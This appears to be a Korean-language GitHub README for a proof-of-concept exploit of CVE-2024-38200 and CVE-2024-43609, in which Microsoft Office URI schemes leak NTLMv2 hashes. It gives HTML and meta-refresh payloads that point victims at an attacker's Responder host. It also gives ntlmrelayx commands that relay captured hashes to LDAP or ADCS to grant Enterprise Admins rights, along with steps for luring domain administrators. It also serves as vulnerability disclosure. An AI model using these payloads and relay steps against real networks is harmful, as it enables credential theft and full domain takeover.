passtheticket/cve-2024-38200CVE-2024-38200 및 CVE-2024-43609 - Microsoft Office NTLMv2 정보 노출 취약점
HTTP를 통한 NTLMv2 해시 캡처 방법은 수정되지 않았습니다. NTLMv2 해시 값은 여전히 HTTP를 통해 획득할 수 있으며 LDAP 또는 ADCS로 릴레이할 수 있습니다. MSRC는 이러한 상황을 "제시된 바와 같이 현재 설계의 일부로 보인다"라고 밝혔습니다.
이 취약점이 패치되더라도 통합 Windows 인증 섹션에서 설명한 것처럼 기본 설정에서도 해시 값을 획득하고 릴레이할 수 있습니다.
이전에는 Office URI 스킴을 사용하여 SMB를 통해 NTLMv2 해시를 캡처하는 방법이 공유되었습니다. 핵심 아이디어는 간단했습니다. 아래 HTML 파일의 URL을 피해자에게 보내 SMB를 통해 NTLMv2 해시를 캡처하는 것입니다. 링크
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
이것이 저에게 영감을 준 지점입니다. Office URI 스킴 페이지를 살펴보면 URI 스킴 내에서 https:// 프로토콜이 사용되는 것을 확인할 수 있습니다. 이는 http://도 잠재적으로 사용될 수 있음을 나타냅니다. 도메인 컨트롤러 서버를 대상으로 NTLM 릴레이 공격을 수행할 때 HTTP를 통해 NTLMv2 해시를 캡처하는 것이 SMB를 통해 캡처하는 것보다 더 유리합니다. 릴레이 차트.
Office 2016 MSO (16.0.4266.1001) 32-bit에서 ms-word:ofe|u|http://test.local:8080/leak/leak.docx URI를 사용했을 때 사용자를 악성 활동으로부터 보호하기 위한 경고 상자가 나타났지만, Microsoft 365 Office 및 Office 2019에 대해서는 같은다고 말할 수 없습니다. 이 버전들은 경고 없이 원격 Office 파일에 접근하며 SMB 및 HTTP 프로토콜을 통해 NTLMv2 해시를 캡처하는 데 악용될 수 있습니다.
CVE-2024-38200에 대한 패치가 올바르게 적용되지 않았다는 것을 발견했습니다. 패치가 게시된 후 Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) 및 Microsoft 365 MSO 2408 Build 16.0.17928.20114를 대상으로 취약점을 테스트했으며 아래와 같이 취약점이 여전히 악용될 수 있음을 확인했습니다 CVE-2024-43609 .
Office 애플리케이션이 Office URI 스킴 (e.g., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx) 을 통해 요청할 때 302 리디렉션으로 HTTP 요청을 UNC 경로로 리디렉션할 수 있습니다. uncredirect.py 스크립트는 MS Office URI 스킴과 함께 전송되는 HTTP 요청을 처리하여 Responder의 IP 주소가 포함된 UNC 경로로 리디렉션합니다. 이로 인해 SMB를 통해 NTLMv2 해시를 캡처하고 ms-word:ofe|u|\\<responder ip>\leak\leak.docx URI에 대한 보안 제한을 우회할 수 있습니다.
uncredirect.py와 responder를 실행합니다.office.html 파일의 URL을 피해자 사용자에게 전송합니다.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
LDAP 릴레이를 수행할 때 HTTP를 통해 NTLMv2 해시를 캡처하는 것이 SMB를 통해 캡처하는 것보다 더 유리합니다. Office URI를 통해 파일이 요청되면 302 리디렉션을 사용해 UNC 경로로 리디렉션하지 않고도 HTTP를 통해 NTLMv2 해시를 획득할 수 있습니다. 이 악용 방법은 인터넷을 통해 수행할 수 없습니다. 인터넷 옵션에 잘못된 구성이 없는 한 기업 네트워크 외부의 호스트에 대해서는 HTTP를 통한 NTLM 인증이 발생하지 않기 때문입니다.
하지만 이는 릴레이 공격과 권한 상승을 위한 효과적인 방법이라고 생각합니다.
"인터넷 옵션" 설정은 Office 애플리케이션의 NTLM 인증 동작에 영향을 미칩니다. 몇 가지 예를 통해 이를 확인할 수 있습니다. NTLMv2 해시를 캡처하기 위해 ms-excel:ofe|u|http://192.168.1.7/leak.xlsx URI 형식을 사용한다고 가정해 보겠습니다.
도메인에 가입된 피해자 머신에 아래 나열된 GPO 중 하나가 적용되면 Office 애플리케이션이 자동으로 인증을 수행합니다.
인터넷 영역의 사용자 인증에서 현재 사용자 이름 및 암호로 자동 로그온이 설정된 경우로컬 인트라넷 사이트에 서브넷 또는 IP 주소 범위가 추가된 경우 (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)신뢰할 수 있는 사이트에 서브넷 또는 IP 주소 범위가 추가되고 신뢰할 수 있는 사이트 영역의 사용자 인증에서 현재 사용자 이름 및 암호로 자동 로그온이 설정된 경우
위에서 언급한 GPO 중 하나가 적용된 경우, 피해자 사용자가 URI를 클릭하면 Office 애플리케이션이 공격자의 서버에서 leak.docx 파일을 가져오고, 적용된 GPO로 인해 NTLM 인증이 자동으로 발생하므로 NTLMv2 해시가 획득됩니다.
GPO를 악용하는 예시 시나리오:
Office URI를 IP 주소로 설정한 후 (e.g., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), office.html의 URL을 도메인 관리자 권한이 있는 사용자에게 보내고 ntlmrelayx를 사용하여 캡처된 해시를 LDAP(S) 서버로 릴레이할 수 있습니다. ntlmrelayx는 "열기(Open)" 버튼을 클릭하기만 하면 새 사용자를 생성하고 해당 사용자를 Enterprise Admins 그룹에 추가합니다.
참고:
GPO를 통해 추가된 사이트는 다음 레지스트리 키를 사용하여 나열할 수 있습니다.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
위에서 언급한 GPO 중 하나가 적용되지 않으면 NTLM 인증이 자동으로 발생하지 않습니다. 그러나 DNS A 레코드를 추가하고 이 레코드를 Office URI 내에서 사용하면 Windows는 해당 호스트 이름을 인트라넷 영역의 일부로 간주합니다. 이렇게 하면 NTLMv2 인증이 자동으로 발생하며, 잘못 구성된 GPO 없이도 일반 사용자가 권한을 상승시킬 수 있습니다. 표준 권한을 가진 모든 도메인 사용자는 존재하지 않는 DNS 레코드를 추가할 수 있으므로 이 공격은 도메인 사용자의 기본 설정에서도 동작합니다.
office.html 파일은 피해자 사용자가 접근할 수 있는 모든 서버에서 제공할 수 있습니다 (e.g., https://office.com/office.html) . ntlmrelayx가 기본적으로 포트 80을 사용하므로 Apache에 포트 8081을 설정했습니다. 다른 옵션으로 ntlmrelayx에서 --http-port를 사용할 수도 있습니다. office.html 파일 내 Office URI에 추가된 레코드를 입력합니다.
ntlmrelayx 실행: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
office.html 파일의 URL을 도메인 관리자 권한이 있는 사용자에게 보냅니다. URL을 보내기 전에 ping 명령으로 DNS 레코드가 확인되는지 확인해야 합니다.
피해자 사용자가 URL로 이동하면 'Open' 버튼을 클릭하는 것만으로 NTLMv2 해시를 캡처할 수 있습니다. (경고 없음!)
HTTP를 통해 캡처된 NTLMv2 해시는 ntlmrelayx로 도메인 컨트롤러에 릴레이됩니다. 결과적으로 일반 사용자는 기본 구성에서 단 두 번의 클릭만으로 DCSync 및 Enterprise Admins 권한을 얻을 수 있습니다.
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
참고-1: 도메인에 가입된 서버가 손상되어 inveigh 또는 ntlmrelayx를 실행할 수 있다면 DNS 레코드를 추가할 필요가 없습니다.
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
참고-2: 다른 옵션으로 LDAP 대신 피해자 사용자의 해시를 ADCS로 릴레이할 수 있습니다:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
이 개념 증명은 Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) 및 Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176)에서 수행되었습니다.
인트라넷 기업 환경에서 Windows를 사용해 본 사람이라면 네트워크의 기업 리소스에 접근할 때 마찰이 없고, 대부분의 경우 초기 Windows 도메인 로그온 외에 자격 증명을 묻는 명시적 인증이 필요하지 않다는 점을 눈치챘을 것입니다. 이는 네트워크 매핑 드라이브, 인트라넷 웹 사이트 등 여러 서비스에서도 마찬가지입니다. Microsoft 기반 브라우저인 Internet Explorer와 Edge에는 신뢰 영역이라는 개념이 있습니다: 인터넷, 로컬 인트라넷, 신뢰할 수 있는 사이트, 제한된 사이트. 각 영역은 서로 다른 보안 수준과 관련 제한 사항을 갖습니다. 예를 들어 인트라넷 영역 사이트의 경우 Internet Explorer는 XSS 필터를 비활성화하고 ActiveX 플러그인을 실행하며 자동 로그인을 수행하고 전반적으로 인터넷 사이트보다 보안 제어가 적습니다. 기본적으로 웹 서버에 NTLM 인증으로 보호되는 리소스가 있는 경우 Internet Explorer와 Edge는 신뢰 영역의 개념에 따라 웹 사이트가 기업 인트라넷 내에 있거나 신뢰할 수 있는 사이트에 허용 목록으로 등록되어 있으면 자동으로 인증을 수행합니다. Mozilla Firefox 및 Google Chrome과 같은 다른 브라우저도 자동 NTLM 로그온을 지원합니다. Chrome은 Internet Explorer와 동일한 설정을 사용합니다. Firefox의 경우 이 구성은 기본적으로 활성화되어 있지 않으며 about:config를 통해 수동으로 변경해야 합니다.
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
원격 호스트가 예를 들어 UNC 경로를 따라가는 결과로 사용자에게 인증하려면 충족되어야 하는 특정 조건이 있습니다. 주로 인터넷과 같은 외부 네트워크로 해시가 유출될 가능성을 최소화하려면 시스템이 "로컬 인트라넷" 영역에 속해야 합니다. 이미 대상의 내부 네트워크에 발판을 마련한 상태에서 이 요구 사항을 충족하는 가장 쉬운 방법은 시스템의 NetBIOS 이름을 사용하는 것입니다. 즉, workstation1.contoso.com에 있다면 UNC 경로에서 workstation1을 사용하여 로컬 인트라넷 영역으로 강제해야 합니다.
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
앞서 언급했듯이 인터넷 옵션의 변경 사항은 Edge 및 Chrome 브라우저의 NTLM 인증 동작에도 영향을 미칩니다. 이 브라우저들은 자동 NTLM 인증을 지원하며, Windows는 NetBIOS 이름이 포함된 HTTP 연결이 인트라넷 영역 내에 있다고 간주하고 NTLM 인증을 수행합니다. 이후 PoC에서 설명한 것처럼 DNS 레코드를 생성하고 NetBIOS 이름이 포함된 URL (e.g., http://kali14/notexist.html )을 사용자에게 보내면 Edge 또는 Chrome 브라우저에서 해당 URL로 이동할 때 사용자의 NTLMv2 해시를 캡처하고 릴레이할 수 있다는 것을 깨달았습니다. ntlmrelayx로 권한 있는 사용자의 NTLMv2 해시를 LDAP(s)에 릴레이하면 기본 설정으로 도메인에서 권한을 상승시킬 수 있습니다.
Edge:
Chrome:
사용자에게 링크를 보내는 대신 HTML 삽입을 사용하여 NTLMv2 해시를 캡처할 수 있습니다:
kali14 이름으로 DNS 레코드를 생성합니다.<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
다른 영역에 나열되지 않은 모든 로컬(인트라넷) 사이트 포함 옵션을 선택 해제합니다. 해당 옵션은 기본적으로 선택되어 있습니다. 
참고: 이 익스플로잇은 교육 및 연구 목적으로만 제공됩니다. 작성자는 이 익스플로잇의 적용으로 인한 오용 또는 손해에 대해 책임지지 않습니다. 명시적 허가 없이 이 코드를 환경에서 무단 사용하는 것은 불법이며 비윤리적입니다.